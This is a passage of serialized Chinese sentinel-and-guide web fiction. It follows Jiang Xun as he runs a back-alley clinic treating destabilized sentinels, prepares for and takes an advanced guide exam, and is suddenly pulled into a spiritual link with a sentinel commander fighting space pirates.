江寻舒展着四肢，机敏而快速地行走在路线上，心下暗叹。只是在自由城中住了几个月时间，便已经在他身上烙下了印记。他现在身处这种混乱中暗藏着秩序的环境中，竟比在安全平静的环境里更加习惯了。 一路行至一座酒吧后门处，江寻终于看到了这次任务的接头人。 看到他的来到，一个脸上带着刀疤、气息凶悍的矮壮汉子，警惕地上下打量着江寻，目光掠过他朴素的衣着时充满怀疑：“就是你接了任务？你是向导？” 江寻同样打量了一下面前的人，身周气息晦暗混乱，力场强度不高波动剧烈，但身上没有血腥气，是个堕化程度不算太高的低阶哨兵。 他也没有为对方的疑问辩解，只是单手一翻，展示出了一枚徽章。 那汉子的目光凝注在江寻随意托在手心的徽章上，瞳孔骤然收缩，声音瞬间压低，带着一丝难以置信的惊喜：“……B级？！” 态度马上变得敬畏了许多，向着江寻微微弯身，操起不太熟悉的敬称：“阁下，请跟我来。” 江寻跟着这矮壮的汉子，快速地穿过一条弥漫着酒臭与劣质烟草气味的狭长巷子，七拐八弯来到一座半新不旧的小楼后面，顺着铁质楼梯上了二楼，一开门，浓重的血腥味和一股暴烈的精神力冲击波便扑面而来。 江寻第一时间释放出了自身的力场，将自己保护了起来，凝目向内看去。 装修家具还算不错的房间内，如今已经乱成了一团，被损坏的家具狼狈地歪倒在墙角，地上净是木屑玻璃渣。 一个魁梧的壮汉倒在最里间的大床上，浑身被汗液血水浸透，四肢紧紧绑缚在四个床脚上，身体剧烈地痉挛着，喉间发出野兽般嗬嗬嘶吼，双目赤红瞳孔不断收缩，身周狂暴的精神力濒临失控边缘！ 床边散落着数条空了的不知名针剂，两个同样身形彪悍的哨兵正满脸恐慌地压制着床上的男人，试图把手上拿着的一管药剂喂进他嘴里。 一见这幅场景，那矮壮汉子再顾不上刚才的敬畏，一把按在江寻背上，把他往前推去。 “疤哥！向导来了！是，是B级的！”矮壮汉子说着话，声音都有些发颤。 按着人的其中一个哨兵，猛地扭过头来看向江寻，眼中爆发出绝处逢生的狂喜：“阁下！求您救救我们老大！他的旧伤又复发了！中度失控！” 江寻没在意矮壮汉子惊慌下的无礼，快走几步走到近前，凝目看向床上疯狂的男人，一边迅速扫视他的全身，一边快速问道：“他是什么等级的？什么时候、怎么受的伤？失控状态维持多久了？” “B级的！好几个月前，在一次任务里，和星盗战斗时被暗算了，被对方的精神冲击侵入了精神图景，一开始堕化值只有不到30%，”被叫做疤哥的汉子眼睛湿润了，抬起胳膊胡乱抹掉，又接着说道： “但是他没有绑定的向导，公共疏导所里的医师们只能暂缓堕化的速度，无法根治。他们的等级不够，精神力不足，疏导效率很低，前天出任务的时候，老大与人动手时再次拟化，堕化值一下子就突破30%了！” 事态紧急，江寻也没有像当初为小树疏导时那么循序渐进。 挥手让面前的几人向后退去，精神力一提，空气中瞬间凝聚出无数精神力触须，向着床上的人缠缚了上去。 江寻眼神专注，双手虚按对方太阳穴。磅礴又精纯，带着绝对掌控力的精神力如同怒海狂涛般奔涌而出，顺着连接在两人之间的触须，汹涌流入对方的身体。 强势的精神力触须不断向外抓取着，将对方一缕一缕的暴乱精神力撕扯回来重新塞入身体，再将他团团裹住，强行束缚住狂暴散溢的精神风暴。 “呃啊——！” 壮汉身体一阵剧震，吼出一声难以忍受的呻|吟。身体如搁浅的鱼一般痉挛弹动，不停挣扎起来，赤红的双眼猛地睁大，瞳孔却一阵发散失去了焦距，涎水横流，无声嘶吼，身周狂暴的气息骤然消失，最后，腰臀使劲儿向上一挺，重重摔落了回去，眼睛一翻，便失去了所有动静。 整个过程，前后不过十息。 房间内死寂一片。疤哥和另外两个大汉呆若木鸡地看着眼前这无法理解的一幕。这……这就压制住了？ “……老……老大？”矮壮汉子颤声呼唤。 “没事，暂时压制下去了，他只是刺激过度，晕过去了。”江寻收回手，站直了身子，身前的触须一下崩解，化为点点光尘，返回了他的身体里。 疤哥如梦初醒，快步走近，手在失去意识的壮汉心口一搭，又撑开他的眼皮看了一眼，扭过头来，激动道：“真的压制住了！老大暂时没事了！” 室内痛苦颓靡的气氛骤然散去，三个大男人又哭又笑地抱在了一起。 一眼看到站在一边默默等待着的江寻，那疤哥猛地一拍脑袋，慌忙抬起手臂，飞快地一轮|操作。 江寻腕上的终端“滴”一声响，一条收款信息显示出来。 疤哥压着身旁的二人一起深深低下头颅，鞠了一躬。 “阁下！感谢您的及时救助！2500点！一分不少！请您务必收下！” 江寻略一点头，心安理得的受了对方这一礼，又叮嘱一声： “这次只是暂时把他的堕化值压制到了30%以下，他受创时日太久，还需要好好调养，多次疏导才行。这期间不能再使用拟化了，否则一定会再次陷入中度失控的状态里。” “是是是！我们记下了！多谢阁下救命大恩！”几人连声应诺。 就在江寻转身欲走之时，那疤哥忍不住上前一步急切追问，话语里带着些微渺的期盼： “阁……阁下！以后……以后我们老大要是再……或者兄弟们有点精神上的麻烦……还能……还能请您出手吗？价钱绝对让您满意！” 江寻脚步一顿。 这疤哥的话，像一道闪电，劈开了他脑中的迷雾！—— 作者有话说：二更来啦！刚才急着发布没修文，错别字已改[让我康康] 第106章 橙红的太阳毫不吝惜地将最后的余晖泼洒向人间。 高远的天边， 层层叠叠的云层，被夕阳与青空染成深深浅浅的红紫炫彩。 偶有一阵轻风吹过，将云层吹动， 露出点点缝隙来， 便有束束暖光漏下来， 在屋顶、地面上映照出一个个漂亮的梦幻光斑。 此时，恰有一束暖光斜斜坠了下来，落在湿漉漉的街道上， 将一捧浅浅的水洼染得光怪陆离。 下一秒， 一只风尘仆仆的皮靴毫无怜惜地踏入水洼之中，溅起一蓬红色、绿色、紫色的扭曲水珠。 又一阵风过，阳光消失了，整个街道如蒙上了一层浓浓的墨，整个暗沉了下来，只余一声声“踢踏踢踏”的脚步声， 越走越远。 江寻甩了甩靴子， 把溅落在上面的泥水踢出去。 步履平稳地穿过渐渐在夜色中甦醒过来的街道， 拐过数道幽深曲折的小巷，踏上安静的街道深处， 一间不起眼门面前的台阶。 眼前的门面与旁边的几间小店从外表看上去没什么不同，没有招牌， 没有广告，门楣上， 只刻着一个极简的，像是小孩子涂鸦一般的小太阳图案。这就是江寻的诊所的唯一标识。 推门而入，里间的模样与外界的喧嚣晦暗截然不同。 整个房间空间不算太大，被功能齐备地划分出了门厅、诊疗室、制备室、休息室。 暖白色的灯光柔和地洒满小小的空间， 驱散着阴霾。 门厅里背靠着背摆着两条简易的坐凳，门口小小的空间里，放着些一次性茶包与杯子。 诊疗室里，一张坚固的诊疗床，一个塞着几种常用检测设施的带轮小推车，一张摆放着基础消毒用具的旧桌子，几瓶他自制的、泛着浅蓝色微光的药剂零零散散地立在靠墙的玻璃柜中。 制备室中预留下来的能活动的空间很小，基本只能放得下一张旧桌与一把椅子，桌上的瓶瓶罐罐很多，滴管试剂试管齐全。 休息室里简简单单放着一张单人床，一个床头柜，这便是全部家当。 门厅墙角里，一台小巧的空气净化器算是这里最高级的设备。它嗡嗡低鸣着，努力维持着这一方小天地的洁净。 整个诊所弥漫着淡淡的消毒水和舒缓液特有的清凉微涩气息，让人一不小心就会重回记忆里。 江寻刚把外套脱下，戴上蒙住了整个下半张脸的口罩，诊所的大门便被敲响了。 下一秒，门扉被推开一道缝，一个憨笑着的男人面孔挤了进来：“希先生，您来了！” 江寻，也就是化名后的希先生点了点头：“晚上好，沃特！” 沃特就是江寻在这里接的第一单任务里，遇到的那个矮壮汉子。 自那天江寻暂时压制住了他大哥的伤势，又在这里开了这间小小的诊所之后，他便经常上门来，听他的说法是为了报恩。 江寻解释了很多遍，他们只是交易，已经银货两讫了，可这个死脑筋的汉子却怎么说都不听，口口声声这地方不安全，要帮他盯着那些不讲规矩的刺头，他便也听之任之了。 自从发现，在这个专门培养哨兵向导的地方，仍然有着许许多多或因为等级问题，或因为身份问题，求医无门的中低级哨兵之后，江寻便在这条暗巷里，开了这家小诊所。 因为他本身等级够高，治疗效果够好，收费也明码标价，最关键的是，从不过问病人的身份来历，开业不过数日，他的这间小小的诊所，和神秘的“希先生”的名声，就如同投入镜湖中的石子般，迅速在黑街中下层哨兵中激起了一圈圈涟漪。 许多即使攥着信用点，也找不到合适的向导为他们治疗的哨兵，在听到消息后蜂拥而至。很短的时间里，江寻便筹集齐了住宿的费用，甚至连今年的学费都攒的差不多了。 “你大哥最近怎么样了？去测最新的堕化值了吗？” 这会儿还没人来，江寻一边整理着手下新调配出来的缓释剂，一边和沃特闲聊了起来。 “已经好多了！太谢谢希先生您了！听他说，虽然没法彻底净化干净，但是现在堕化值基本能控制在15%左右了，妈的！几年了，我们都没见过大哥像现在这样舒坦过！” 沃特说着说着，眼眶又湿润了，抬起胳膊不好意思地快速抹掉。 “希先生！你和我们大哥的匹配度这么高，真的不考虑和他绑定吗？”沃特眼含希冀，再一次问道。 江寻摇了摇头，再一次微笑拒接。 B级以上的高级哨兵，一旦使用拟态合体战斗，堕化值的上涨是非常迅猛的。 不是匹配度够高，情感链接也足够深厚的绑定向导，为他们疏导起来，效率都不会太高。能维持住堕化值不上涨已经很不错了，很难遇到这种堕化值下降的机会。 所以在发现江寻第一次的治疗，居然让自己的堕化值降了下去之后，这个名叫屠峰的B级哨兵，就像抓住了救命稻草，一赚到钱便来他这里疏导，连公共疏导所都不去了。几次下来，还真的让他的精神状态变好了许多。 其实江寻自家人知道自家事，和他们纷纷在暗地里的猜测不同，江寻和这个屠峰匹配度是很低的，他的疏导效果出众，纯粹是因为他的精神力更精纯、总量也远远超过他所标榜的B级罢了。 两人正说着话，挂在门上的铃铛“叮——”一声响，今天的第一位顾客上门了。 “咄！” 先迈进诊所大门的，是一根沉重的拐杖。 而后，大门被一只布满老茧与伤痕的大手推开，一个瘸着腿、半边脸布满狰狞灼伤疤痕的男人，蹒跚着走了进来。 男人看着只有三十岁左右，却已经满面风霜，唯一剩下的半张脸孔上，神色有点拘谨，一双眼睛布满了血丝。 一条腿自膝盖以下不见了，另一条完好的，也已经失去了人类的形状，关节反曲长满了棕黑色的皮毛，明显已经接近重度失控了，难得他还能保持理智。 他一进门，目光便不由自主地向着江寻的方向转了过去，眼神直勾勾地充满了渴望。 似乎是想说些什么，可一张嘴，涎水就先流溢了出来。 晦涩的精神力马上暴动了起来，蓄势待发着向着江寻的方向逼近过来。 沃特马上站了起来，矮壮的身躯往江寻面前一挡，把对方的视线完全挡住了。 “C级？”他铜铃般的眼睛大睁，死死盯着面前这个看起来落魄潦倒到极点的残废，心里的戒备却提到了最高。 面前这个看似普通的残疾哨兵，给他带来的压迫感却比赌场里魁梧的打手还要强烈。明显是真的见过血，在真正的战场上摸爬滚打下来的。 一见沃特的戒备，这人似乎冷静了一些下来，嘴巴一闭，也不说话了，一手颤抖着，从怀里摸出一小捆信用点，一张张平整开来，犹豫了下，又从里面捡起一张，重新塞进了自己怀里，这才把剩下的，向江寻推了过去。 看到他恢复了理智，沃特稍微放松了一些。 江寻也拍拍沃特的肩膀，从他身后走了出来，引着来人躺上了里间的诊疗床。 这次这位病人，情况没有上次那么紧急，人看起来也已经非常虚弱了，江寻便没有使用上次对待屠峰那般粗暴的手段。 一手搭上对方的手臂，精神力便以最舒缓的方式探入了对方的体内，同时，也不断地将安抚的情绪传送过去，让他放松下来。 如今的江寻对于自己精神力的操控精度，远非当初在无人星上为小树梳毛时可比。 一丝丝精神力细丝，如同最精密的手术刀，从对方的每一个毛孔里渗透进去，一点一点将对方散溢出来的狂乱精神力梳理剥离开来，再将恢复纯净的精神力返还回去。 江寻耐心十足，如对待一场最细致的外科手术，足足花费了近半个小时时间，才把他外溢的晦涩精神力全部梳理了一遍。 “好了，第一次疏导，到这程度就可以了，这几天尽量不要动用精神力，等习惯了现在的堕化度以后，再继续过来。” 江寻收回手，对着男人叮嘱道。 坐起身来的男人，目光愣愣地盯向自己不知何时恢复了人形的双腿，嘴唇颤抖，原本死寂的眼神深处，似乎有什么微弱的东西，松动了一丝。 “医生……”声音嘶哑，像是已经许久没有开过口，男人缓了一口气才接着道：“谢谢！” 翻身落地，当那只完好无损的腿踩上地面时，江寻明显看到对方腿肚子上的肌肉都在细微地抽搐颤抖。 他没说什么，也没有伸手帮助。 就这么看着面前的人，先是试了一下，没有站起来；喘了口气，又低吼一声猛地向前一挣。 那只支撑起一整个身体的腿剧烈颤抖着，男人的目光也紧紧盯着脚下，一滴一滴的冷汗快速溢了出来，顺着额角滑落下来，却丝毫没有得到男人的注意。 终于，颤抖慢慢变小，他稳稳地站住了。 他的目光仍然直直盯着那条腿，整个人都呆愣住了，直至眼睛一眨，一大颗滚烫的热泪滴落了下来。 “谢谢……谢谢……”男人的表情终于彻底活了过来，一手捂住完好的那半张脸，声音沉闷地一迭声向着江寻道谢。 最后，像是突然想起了什么，有点不好意思起来：“那个……精神补偿？” 江寻笑笑摇了摇头：“不必，我不需要补偿。” 看面前的男人似乎有点尴尬地抿起了嘴，又补充一句，“不是因为你，我这里的规矩就是不要补偿，你不必在意。” 看到站在旁边的沃特也在连连点头，男人的情绪这才舒缓了下来，再次向江寻道了谢，这才拄起拐杖，一步一步走向了门口。 他离开时，腰杆似乎比进来时挺直了半分—— 作者有话说：一更~赚钱赚钱！[加油] 第107章 看着男人蹒跚离开的身影， 江寻叹了口气，有些不解地扭头看向沃特： “这人是个C级哨兵，似乎还是上过战场的正规军吧？他为什么都找不到向导治疗？公共疏导所不能治吗？即使断了一条腿， 换一条义体也不算很难吧？治好以后完全可以正常生活的， 联盟也不管吗？” 沃特啐了口唾沫， 语带嘲讽：“像他这样毫无背景的低级哨兵，联盟要多少有多少，哪有人会费心去给他治？一笔抚恤金发下去， 再找新的就是了。” “公共疏导所每天疏导的数量有限， 要去那里疏导，即使你有钱也是要排队的，像他这样已经废了的哨兵，权重会被调到很低，以现在那些需要疏导的哨兵的数量，根本就轮不到他！” “也就是他运气好， 刚好遇到希先生你了！”沃特说着， 对着江寻嘿嘿一笑， 笑容里，藏着一丝笨拙的谄媚：“希先生， 你真的不考虑我们老大吗？要不我们疤哥也不错的呀……” 沃特那点小心思被江寻一个白眼瞪了回去，讪讪地闭上了嘴。 诊所里略显沉重的气氛也随之消散。 江寻掐着时间， 又处理了两个症状相对简单的哨兵，便准时关上了那扇刻着太阳标记的木门， 将黑街特有的喧嚣、痛苦与混杂的气息隔绝在外。 夜色深沉，他重新踏着湿漉漉的石板路回到哨兵岛外围的临时公寓，把混乱而嘈杂的一切全部抛在了身后。 这里静谧而安宁，与黑街是截然不同的两个世界。 他简单洗漱下， 倒头便睡，明天，还有新的任务在等待着他。 当晨光驱散黑暗，将窗帘映照成一片橙红色，江寻已经洗漱完毕，换好了外出的衣服，打开门，便走上了去往圣所核心区的道路。 两个月后，就要参加高级研修班的考试了，虽然他通过夏因留下的书籍，已经掌握了大部分基础知识，但准备总是不嫌多的，从没参与过圣所的考试，他总要准备得更充分一点，免得一时不慎，又错过一年时光。 圣所附属的公共图书馆中窗明几净，秩序井然。空气中弥漫着淡淡的油墨清香和一种特有的宁静安然的味道。 江寻坐在惯坐的靠窗位置，面前摊开着厚重的《高阶精神图景结构》和《星际精神力场应用导论》。阳光洒在书页上，将那些复杂的图表和公式镀上一层柔和的金边。 窗外人声喁喁，偶尔走过三三两两身着纯白制服，意气风发的年轻向导，他们年轻的面庞上满是朝气，热烈地谈论着某位A级大师即将到来的讲座，或是某种新型精神共鸣器的数据参数。 更远处，影影绰绰还能看到几个身穿蓝色哨兵制服的年轻人，在操场上进行着基础体能训练，或带着他们的精神体一起追逐、玩耍。 这里是光明的中心，知识的殿堂，一切都井然有序，明媚而充满希望。与夜晚展现在江寻眼中的泥泞、挣扎、混乱、不堪，仿佛存在于两个截然不同的维度。 江寻对此并无太多感慨，也许是常见这些隐藏在阳光下的阴影，他并不为光明的一边喝彩，也不想为黑暗的一面叹息。 他只是一门心思专注于自己的课业中，埋首于书页间，贪婪地汲取着知识，为两个月后的考试做着最充分的准备。 这份专注，以及别在他朴素衣领上的那枚白色盾徽，反而让他在这群汇聚着众多年轻哨兵向导的环境中，格外的引人注目。 图书馆另一端的休息区，几个刚结束晨训，穿着蓝色哨兵制服的年轻人正聚在一起低声交谈。 其中一个身材高挑，眼神锐利的哨兵，目光无意间扫过窗边那个沉静的身影，随即微微一凝。 “嘿，看那边靠窗那个，”他用下巴点了点江寻的方向，压低声音对同伴说，“生面孔啊？挂着B级向导徽章？这么年轻？哪个家族的？” 旁边的同伴顺着他的视线看过去，辨认了半天，也露出讶异之色：“不认识啊！在读的圣所B级向导就那么几个，脸都熟，这人……好像不是圣所的人吧？” 旁边的另一个男孩，平时消息最是灵通，眯着眼睛看了半天，突然眼睛一亮，猛地一拍大腿，声音因为兴奋而提高：“我想起来了！” 话一出口，他马上意识到了场合不对，连忙压低了声音，“是他！评级大厅那个！记得前阵子传得沸沸扬扬的那事吗？一个刚登记就直接晋升了B级的外来向导！叫……夏因！对，就是这个名字！这期预备向导那边都传遍了！” “嘶……原来是他！”最先开口的哨兵倒吸一口凉气，看向江寻的目光顿时充满了惊奇与探究，“就是他啊？据说连圣所的初级基础课程都没上过，一来中央星就直接冲击B级还成功了的那个怪物？居然这么年轻吗？这身材、这脸……嘶！怎么看着像个哨兵似的？” “真是他？”一个穿着明显更精致一些，眉宇间带着些许傲气的金发哨兵挑了挑眉，语气中带着些许审视。 “评级大厅那事我听说了，不过，听说他的最高潜力也就到B级，以后也没什么提升空间了。看他这样子……要考高级研修班？他一点儿底子也没有，很难考过吧？进不了圣所的培养系统，圣所的高级资源可不会对他倾斜。若只是空有个B级等级的话，最后也只有远走其他星系，去那些二三线的星球，混个土霸王的份！” 他的话语天然有着一股矜贵，带着一股子出身优越者对平民天才的俯视。 “话是这么说，”旁边那个消息灵通的哨兵马上反驳道，“但那可是实打实的B级啊！就算他以后都没有提升了，只要匹配度够用，说不定哪天就能被哪个家族的人看上，直接一步登天了！咱们这一代，没找到绑定向导的家族嫡系，可不少呢！我觉得值得结交一下。” 他的眼中闪烁着精明的光。 “结交？怎么结交？”高挑哨兵苦笑，“你看他那样子，坐在那以后就没见他和旁边的人说过话，这股子生人勿近的气场，我怎么感觉比咱们弗兰克少爷还要厉害？这时候去打扰，不是招人烦吗？” 金发哨兵没好气地斜了他一眼：“说他就说他，扯上我做什么？” 说着，慢悠悠地端起面前的水晶杯，喝了口水：“你们急什么？今年的考试就剩不到两个月了吧？到时候是龙是虫，一目了然。现在凑上去，万一他考砸了，岂不是白费功夫？” “说的也是！咱们好歹也是准高级哨兵了好吧？就这么凑上去，”消息灵通的哨兵想了想，撇了撇嘴，吐出两个字：“跌份儿！” 几人的议论声虽低，却逃不过江寻媲美哨兵的敏锐耳力。 那些或褒或贬的字眼断断续续地传入他的耳中，却不能使他翻动书页的手指有片刻的停留。 评级大厅的事，让自己这个突兀闯入圣所视野的异类，得到了许多的关注。 但是，他知道一个道理，不管你的潜力、能力有多高，对大部分人来说，你必须能够为他带来切实的利益，才会真正被对方看进眼中。 他人的目光，既是压力，也是动力。 他并不在意这些目光的主人究竟对他是什么想法，但他需要这份关注所带来的资源与方便，那他就必须用实力让这些目光化为真正的力量。 而即将到来的高级研修班考试，便是他踏入这个圈子的第一个重要舞台！ * 时间在这样的双面生活中快速流过，江寻就像是一架高速运转着的机器，在光与暗的道路上，不停交错着稳步前进。 一边积蓄着力量，一边编织起自己的网络。 与此同时，在黑街人们的口口相传中，关于这个“小太阳诊所”的名声，也在暗夜里传播得越来越远。 “知道吗？后巷那边出了个高级向导开的诊所……” “真的假的？B级也能净化？那A级呢？” “是比公共疏导所贵了点，但真能给你治好啊！不知道那位阁下怎么会跑到黑街来开店……” “嘘……那位阁下喜欢清净，别惹事，守规矩……要是惹得那位关门了，你就死定了！” 每晚敲响诊所大门的人越来越多，病症也越发稀奇古怪起来。 有过度拟化濒临彻底堕化的高级哨兵；有探险时被可传染精神毒素侵蚀了的独行客；有帮派火拼中打到狂化清醒不过来的打手；也有得罪了某些权贵，被人在疏导时故意污染了的倒霉鬼。 对于这些人，只要不是来故意捣乱的，江寻便来者不拒。只要付得起他明码标价的费用，他便根据每个人的状况，施以各种各样精准高效的疏导或急救。 白天所学的知识，也在这样的大量练习中迅速融会贯通起来。 他的手法越发纯熟，对精神力的掌控在大量的实践和系统的理论学习中，日益精进。 只有一点，一直令所有前来治疗过的哨兵们疑惑不解。 不论治疗了多高等级的哨兵，花费了多少精神力，“希先生”从来没有接受过任何一个哨兵的精神补偿。 有人说，“希先生”的等级比他们想象中的更高，花在他们身上的精神力，根本不需要补偿也能随时间自然回复过来。 也有人说，“希先生”已经有了绑定的哨兵，所以他无法再接受其他人的精神补偿。 那个一直蒙着半张脸，实力强大莫测的“希先生”，也在这样的种种传说中，逐渐染上了一层神秘的色彩—— 作者有话说：二更来到！[求你了] 第108章 时间飞逝， 在无数或明或暗的目光交织聚集之下，高级研修班入学考试的日子，终于到来。 圣所核心区， 专门用于高级考核的星穹大厅内， 气氛庄严肃穆。 头顶的巨大穹顶模拟着深邃的星空， 数百个嵌在穹顶之上的顶灯，将柔和的光线均匀洒落下来。 穹顶之下，数百名来自不同星系， 或老或少， 或男或女，通过了严格初审的考生，按照报名编号一个一个走入大厅之中，落座在间隔开来的单人考位上。 这些人中，有的来自偏远星系，衣着朴素， 眼神中带着忐忑与一些不自信， 满面风霜；有的明显出身圣所， 身着样式统一的白色制服，只在胸前的盘扣颜色上有着稍许不同；有的神情倨傲， 装束妆容精致考究，一举一动流露出良好的教养；更有一些身着各色不同的工作制服， 虽峥嵘不显，举手投足之间却满是平静与自信。 除了这些端坐于场中的考生之外， 更有一些身着更加精良的白色制服、研究员大褂、蓝色制服、亦或规整军装的身影，早早占据了布置在大厅二楼的特殊观察区——他们是圣所的高级导师、教务人员，以及数量不少的中高级哨兵！ 与那些面色平静的高级向导、学者导师们不同，这些哨兵的目光， 从入场开始，便如同探照灯般在场中来回扫视。 每当看到一名特殊的考生亦或某个显眼的高级徽章时，便会响起一片压抑着激动的骚乱和低语。 “看那个红发的！听说是明家旁支的，这回要是能顺利考上高级研修班，就会被嫡支接走培养……” “噫！你们看那个人！头发都要全白了，他现在考研修班还有什么用啊？这么大年龄了，才C级……” “这个看着气势很强啊，但是这长相……即使他能升到高级，我也不想被他疏导啊……” “咦，这个这么年轻，都已经到B级了哎……” “这好像就是前阵子传的那个，评级大厅里的那个……” “他长得也真好啊，这身材……这次要是成功考上了，帮我打听打听他的情况啊！” “切！有这机会我不自己上啊，还给你打听……” 说着说着，便是一阵嗡嗡的嬉笑怒骂声。 考官席上，几位资深导师的目光也随着众人的议论落在了江寻身上。 主考官，一位头发花白，精神矍铄的老者，推了推鼻梁上架着的单片镜，镜片后的面容和蔼，目光却锐利如隼，嘴角翘起一抹不易察觉的兴味。 他微微扭头，看向身旁一位面容严肃的中年女士：“就是他？那个夏因？让莱昂好几天都不愿意再去轮值的那个小家伙？莉亚，你觉得他能考过吗？” 莉亚教授没有立刻回答，只是看着江寻平静地找到自己的考位，安静坐下，一个个检查着分发下来的电子答题板和感应笔，姿态从容得仿佛在自己家中。那份沉稳自信的安然姿态，让莉亚眼中闪过一抹赞赏之色。 “如果真的能考上，那以后学院里恐怕就要更加热闹了。”莉亚的声音带着一丝玩味，眼神从二楼那帮躁动着的年轻哨兵们身上一掠而过。 随着所有人员落座，主考官的声音在大厅中响起： “肃静——！” 座下人声纷纷安静下来，空气慢慢紧绷起来，无声无息间，紧张的气氛弥漫。 江寻的位置在靠中间的一片区域。他来得很早，寻到了自己的位置后，便闭目安坐其上，静静等待着。 他穿着一身简单的深色便服，与周围许多穿着考究，神情紧张的考生相比，显得格外沉静。 领口上那枚B级徽章，在考场的灯光下泛着浅白的微光，引来周遭几道复杂视线。 他对四面投射过来的众多视线恍若未觉，低眉敛目，仿佛置身于自家那张熟悉的旧书桌前一般安然自若。 时针转过最后一格，考试铃骤然敲响。 嗡—— 放置在每个考生面前的感应屏次第亮起，映照出一张张神情各异的面庞。 江寻静下心来，凝目看向手中的题板。 题目难度极高，已经没有那些基础的题目，题目整体范围，涉及精神图景的深层构建、高维精神力场的解析与维护、跨物种精神链接的风险模型，以及复杂战场环境下的多目标精神协同策略等等，无一不是高级向导需要掌握的核心知识。 考场内各处，响起一片压抑着的惊呼与抽气声，不少考生脸色瞬间发白，额上很快渗出冷汗。 江寻的目光平静地扫过一道道题目，先是把所有题目整体浏览了一遍。 大段大段艰深晦涩的理论，在他阅读题目时，从脑海中浮现起来，而后被拆解成清晰的结构。 这段时间以来，大量输入的厚重典籍、暗巷诊所中处理过的千奇百怪病例，在此刻完美融会贯通。 题干上那些死板的公式和图谱，与他在暗巷诊所中亲手梳理过的一个个案例一一对应起来。 江寻心中一定，笔尖在感应板上稳定而流畅地移动着。 没有犹豫，没有卡壳，仿佛只是在誊写早已烂熟于心中的答案。 一道道在旁人看来艰深晦涩，难如天堑的考题，在他的笔下轻描淡写地被跨越过去。 时间一分一秒过去，考场内的气氛愈发凝重起来，焦躁的情绪在数人的抓耳挠腮中无声蔓延。 几位身处场中的考官，无声地在考场中游移，偶尔停下看看，又摇着头轻叹口气踱步离开。 只有江寻所在的这片区域，仿佛自成一片宁静的孤岛，始终风平浪静。 他的背脊挺得笔直，微低着头颅，手腕悬空笔下不停。从头到尾，答题的姿态始终如一，那份从容镇定，甚至感染了附近几个原本紧张的考生，让他们也渐渐稳住了心神。 头发花白戴着眼镜的主考官，似乎也发现了此处的不同，慢慢踱至江寻身边，低下头来，眯着眼睛停留了半天。 江寻像是丝毫没有发觉到身后的动静一般，下笔更加坚定流畅。 老人唇边终于挂起开考以来的第一抹微笑，深深看了江寻一眼，无声无息地走开。 时间在笔尖的沙沙声中流逝。 江寻的精神高度集中，几乎是一气呵成般快速地解答着题板上的题目，很快，光屏上便只剩下了最后一道分值最高，也最最考验实际运用能力的综合应用题： 设计一套针对“高等级哨兵在遭受精神污染后陷入深度神游状态，伴随严重精神图景结构性损伤”的紧急疏导与修复方案。 看着手上的题目，江寻的脑海中不由浮现出一个小小的身影。 露出一个满含怀念的轻薄笑意，江寻抬起笔来。 他几乎不需要太多思考，脑海中瞬间便浮现出数个处理方案。笔尖微动，最符合题目要求的一个方案被拣选而出，再次落笔，方案雏态已在笔尖成型。 沙沙声不绝于耳，一段又一段图文并茂的长长方案，在题板上快速浮现。 笔尖悬停在感应板上，最后一行字符即将落下，江寻的面上已然流露出一抹轻松笑意。 就在这心神凝聚到极致的瞬间—— 轰！ 一股无法形容的，跨越过无尽星海的恐怖牵引力，突然在这毫无征兆的瞬间，如同狂烈风暴般狠狠地撞上江寻的精神海！ 一瞬间，江寻眼前一白，心神俱震，意识被突然出现的狂暴力量向后狠狠一拉，迅速脱离身体。 无数光年之外，一道熊熊燃烧着的精神坐标，猛地传来巨大的吸引力，以毫不讲理的姿态，强势地与他建立起了精神链接！ * 遥远时空中，M85星系外围。 冰冷寂静的宇宙真空，此刻被狂暴的能量洪流撕扯得支离破碎。 联盟第八军团第九师麾下三支舰队，正在旗舰“镇魂号”的带领下，与盘踞在此的“断刃”星盗团展开惨烈的厮杀。 庞大的“镇魂号”如一座狰狞的巨大堡垒，在此时暴露出了它所有的尖牙利刃，沉沉地坐镇后方，为己方做后盾的同时，不时将一束束无声而致命的粒子炮轰入敌方的阵地之中。 前方银白色的三支舰队，化身为大大小小的游鱼，前后穿插，互相配合着，与敌方众多五花八门涂装各异的舰艇绞杀在一起。 无数蓝白激光束如同无声的光鞭，在虚空中交错纵横，轰击在能量护盾上时，便爆开刺目的光团。 导弹、猩红光炮拖着长长的尾焰，如同蜂群般在蓝白的舰艇阴影中穿梭缠斗，不时在舰体上炸开一片象征着毁灭的火花。 金属碎片、殉爆的无人机、被破开的能量盾，无数残骸在无声的真空中翻滚、碰撞，以自身为颜料，画出一幅残酷而壮丽的死亡画卷。 然而，在这场舰队交锋中最令人心悸的，并非镇魂号主炮的嘶吼咆哮，也不是舰艇殉爆时最后的绝响，而是那道在战场中肆意穿梭、所向披靡的蓝紫色身影！ 陆厌离！ 联盟双星，鼎鼎大名的S级毒系哨兵，此刻正化身为一尊人形杀戮兵器，带着一众手下的机甲战士们，在枪林炮雨之中纵横捭阖！ 作为联军统帅，他此时却并未安稳地坐镇旗舰指挥室，而是驾驶着他的专属坐骑，联盟最高科学造物之一——S级机甲“冥渊”，亲自冲杀在最前线！ 冥渊的机动性与速度远超常规机甲，机身上还搭载有众多能量炮弹，在尽量减轻自身重量的情况下，拥有着强大的远程攻击能力。 它如一抹尖刀，鬼魅般在密集的火力网中穿梭交错。每一次引擎的尖啸爆发，都伴随着数架敌方小型突击艇的凌空解体！ 对待大型舰艇，它就像是一把尖锥，每每在其表面划过，双臂延伸出来的极度凝练的能量刃便会破开敌舰护盾，在其艇身上扎出一个直通内舱的大洞。 在他的带领下，这一队蓝白色的机甲战士们，如快速流动的白蚁，飞快地将一艘艘敌舰吞噬蚕食。 突然，一艘中型护卫舰锁定住了他，炮管旋转，丝毫不顾及己方的突击舰，炮口能量汇聚，就要开火。 即使在规模如此庞大的舰队对轰中，陆厌离也始终以庞大的精神力强化着五感，第一时间注意到了这艘不同寻常的护卫舰。 “死！”频道里传来陆厌离冷酷的声音。 只见冥渊在脚下的突击艇上一蹬，一个极限折跃，瞬间切入那艘中型护卫舰的侧翼。 银白能量刃如同切豆腐般轻易贯穿了厚重的合金装甲！ 而后，一股看不见的冲击波，猛地以破开之处为起点扩散向护卫舰内部。 无声无息之间，舰艇内部所有的人形生物连反应都来不及，纷纷七窍流血着无力倒下。 下一刻，舰艇主炮口正在凝聚的艳红光芒慢慢熄灭下去，护卫舰内部爆闪出殉爆的火光，在这瞬间，冥渊双腿曲起，在其外壳上蓄力一蹬。 巨大的反作用力下，双方迅速向着相反的方向分离开来。 